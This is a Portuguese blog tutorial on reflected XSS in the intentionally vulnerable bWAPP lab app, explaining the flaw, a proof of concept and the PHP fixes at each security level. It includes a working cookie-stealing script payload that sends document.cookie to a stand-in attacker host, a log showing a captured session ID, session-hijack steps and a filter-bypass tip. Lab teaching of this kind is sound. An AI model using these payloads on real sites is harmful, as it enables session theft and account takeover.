sexta-feira, 20 de outubro de 2017

bWAPP 1 - XSS Reflected: Overview, Exploração e Mitigação


Com uma série de postagens, pretendo apresentar algumas vulnerabilidades da plataforma bWAPP (bee-bug), demonstrando a sua causa, uma Prova de Conceito da sua exploração e como é feita a correção para ela.

XSS - Cross-site scripting: Essa é uma vulnerabilidade que tem como objetivo atacar o cliente do site. Injetando scripts maliciosos nesse cliente, podendo modificar como o conteúdo é apresentado, roubar a sua sessão de acesso, vazar informações do usuário, ou executar qualquer tipo de script no lado do cliente.






Basicamente, existem 3 principais tipos de XSS:


XSS Reflected: Ocorre quando o servidor reflete o conteúdo enviado pelo usuário sem fazer nenhum tipo de filtro, permitindo que sejam modificados elementos HTML no navegador do usuário. Se faz necessário que o usuário clique em um link malicioso para que ele seja acionado.

XSS Stored: Idêntico ao XSS Reflected, porem, o conteúdo fica salvo no Servidor (persistencia), muitas vezes em um Banco de Dados. Porem, diferente do XSS Reflected, ele não necessita da interação do usuário com o link malicioso. Um exemplo de cenário real seria um quadro de avisos vulnerável, que é visualizado por todos os usuário de uma plataforma. Caso uma vulnerabilidade de XSS Stored seja explorada nesse quadro de avisos, todos que o acessem serão receberão o ataque.

XSS DOM Based: Essa vulnerabilidade não esta diretamente relacionada a uma falha no Backend da aplicação, e sim em elementos do Fontend, como por exemplo: Frameworks Javascripts mal implementados.

Ambiente e Exploração:


O ambiente a ser utilizado é o bWAPP, porem, na sua versão de virtual appliance bee-bug.
Para conhecer mais a plataforma, recomendo uma postagem anterior minha: bWAPP - Buggy Web Application - Ambiente controlado para Ethical Hacking

Ao acessar o ambiente, você se depara com uma tela semelhante a essa:

Utilize as credenciais bee/bug descritas na tela para se logar.

O ambiente a ser testado será o XSS - Reflected (GET) - http://beebug/bWAPP/xss_get.php

Serão expostas as explorações e correções em todos os níveis: Low, Medium e High:



A tela de exploração é a seguinte:



Experimente incluir um texto em First name e Last name e clicar em OK para entender o seu fluxo:

O seu conteúdo será exibido nas caixas de texto e na URL:


Exibição do texto na URL:



Exibição do texto no corpo do site:


Vamos ver o que aparece no código fonte da página:



Exatamente o que tínhamos digitado. Até ai, nada de mais.

Mas se caso colocássemos caracteres especiais nesses campos? Será que a plataforma filtraria esses códigos ou não?

Abaixo, temos o conteúdo exibido no navegador do usuário:

E no código fonte?


Foi feito o teste no security level Low. E vimos que a aplicação não esta filtrando os resultados. Vamos agora efetuar uma Prova de Conceito (PoC) para provarmos que esses campos estão vulneráveis.

Um método universal para se testar se um campo está vulnerável a ataques do tipo XSS é fazer com que seja exibida uma popup no navegador do usuário com o número 1.

Um exemplo de código para incluir no formulário é:
<script>alert(1)</script>
Esse código irá exibir um popup no navegador do usuário com o número 1, provando que esse campo está vulnerável e é possível incluir um script malicioso nele.

Vamos incluir o número 1 no campo firstname e o número 2 no campo lastname para vermos o resultado:

Obtivemos 2 popup's, com o número 1 e com o número 2, como evidenciado na imagem abaixo:



Com essas evidências, já podemos provar que o campo está vulnerável a ataques do tipo XSS.


Apenas para fins didáticos, abaixo em Security Level Medium:

As requisições <script>alert(3)</script> <script>alert($)</script>:



Reprodução 1 no navegador do usuário:

















Reprodução 2 no navegador do usuário:


O código fonte:




OBS: No nível High não é possível reproduzir, pois os caracteres especiais são filtrados:




Porem, se quisermos ir alem? apenas para observarmos um exemplo da onde podemos chegar explorando uma vulnerabilidade como essa?

Cenário real:

Um atacante (Prefiro sempre chama-lo de atacante, pois em um cenário real esse atacante pode ser um "hacker", um cracker, um fraudador ou um simples script kiddie) que possui acessos mínimos a essa plataforma quer se autenticar com as credenciais de administrador. Sabendo da existência dessa vulnerabilidade, ele pode enviar o seguinte código malicioso para o administrador em um phishing, por exemplo, para obter os seus cookies de acesso:

<script>var img = new Image(0,0); img.src='http://sitedoatacante.com/image.php?c=' %2b document.cookie; document.body.appendChild(img);</script>


Esse script injeta dinamicamente uma imagem no documento, utilizando o cookie do usuário (document.cookie) como parte do caminho para essa imagem.

Para um usuário essa técnica fica transparente, porem para um atacante, ao usuário acessar essa imagem, ele recebe o valor do document.cookie dentro da variável "c".
Vejamos abaixo a linha de log do serviço Apache no servidor do atacante apresentando os cookies do usuário e evidenciando que o ataque foi bem sucedido:

127.0.0.1 - - [20/Oct/2017:01:00:13 -0200] "GET /image.php?c=PHPSESSID=e9789dc4a35a0b5baace788326f2addb;%20security_level=0 HTTP/1.1" 404 508 "http://beebug/bWAPP/xss_get.php?firstname=%3Cscript%3Evar%20img%20=%20new%20Image(0,0);%20img.src=%27http://sitedoatacante.com/image.php?c=%27%20%2b%20document.cookie;%20document.body.appendChild(img);%3C/script%3E&lastname=1&form=submit" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0"
Colocando em miúdos, nós temos a data e a hora da requisição e os cookies do usuário recebidos diretamente na url.

Com esses cookies, nós devemos fazer o URL Decode, e ficaremos com o seguinte conteúdo:
PHPSESSID=e9789dc4a35a0b5baace788326f2addb; security_level=0

Agora é só o atacante injetar esses cookies no seu própio navegador pelo console e navegar como se fosse o próprio usuário:



Dando apenas um refresh na página, temos o atacante devidamente logado:



Mas como funciona a Correção?

Vamos analisar cada caso:

Security Level Low:

O nome da função é auto-explicativa, ela diz que não vai ser feita nenhuma checagem:

xss_get.php
    27    switch($_COOKIE["security_level"])
    28    {
    29      
    30        case "0" :
    31          
    32            $data = no_check($data);          
    33            break;
E como imaginado, a função apenas retorna o valor, sem nenhuma validação sobre o mesmo:

functions_external.php
    19 function no_check($data)
    20 {  
    21
    22    return $data;
    23      
    24 }

Security Level Medium:


A função utilizada para fazer a "proteção" contra ataques do tipo XSS é seguinte:

xss_get.php
    21 include("functions_external.php");
    [...]
    37            $data = xss_check_4($data);
No arquivo de funções, temos o seguinte comportamento:

functions_external.php
   129 function xss_check_4($data)
   130 {
   131
   132    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
   133    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
   134    // Do NOT use this for XSS or HTML validations!!!
   135  
   136    return addslashes($data);
   137  
   138 }

Ou seja, a proteção utilizada é somente adicionar uma contrabarra "\" na frente das aspas e aspas duplas, porem, esses caracteres não foram utilizado na nossa Prova de Conceito. Sendo assim, essa correção não foi eficaz.

OBS: Caso seja necessária a utilização de caracteres especiais, uma forma de se bypassar isso é utilizando o metodo String.fromCharCode() do Javascript.

Security Level High:

Esse nível apresenta o modo correto de se mitigar a vulnerabilidade nesse caso específico:

xss_get.php
    40        case "2" :            
    41                       
    42            $data = xss_check_3($data);            
    43            break;
    44        

Analisando xss_check_3, ela utiliza a função nativa do PHP htmlspecialchars para filtrar os caracteres recebidos, substituindo os caracteres de aspas simples e duplas, maior que, menor que e o famoso "e comercial". Sendo uma proteção básica, mas efetiva contra ataques de XSS Reflected.

   115 function xss_check_3($data, $encoding = "UTF-8")
   116 {
   117
   118    // htmlspecialchars - converts special characters to HTML entities  
   119    // '&' (ampersand) becomes '&amp;'
   120    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
   121    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
   122    // '<' (less than) becomes '&lt;'
   123    // '>' (greater than) becomes '&gt;'
   124  
   125    return htmlspecialchars($data, ENT_QUOTES, $encoding);
   126    
   127 }

Mais informações sobre essa função, pode ser vista na documentação oficial do PHP.

Espero que essa postagem não tenha ficada muito extensa e pretendo apresentar as outras vulnerabilidades da plataforma seguindo o mesmo workflow.

Leituras Recomendadas:

bWAPP an extremely buggy web app !
XSS FTW - What Can Really Be Done With Cross-Site Scripting
XSS - Guia Explicativo


Obrigado e keep hacking!

Nenhum comentário:

Postar um comentário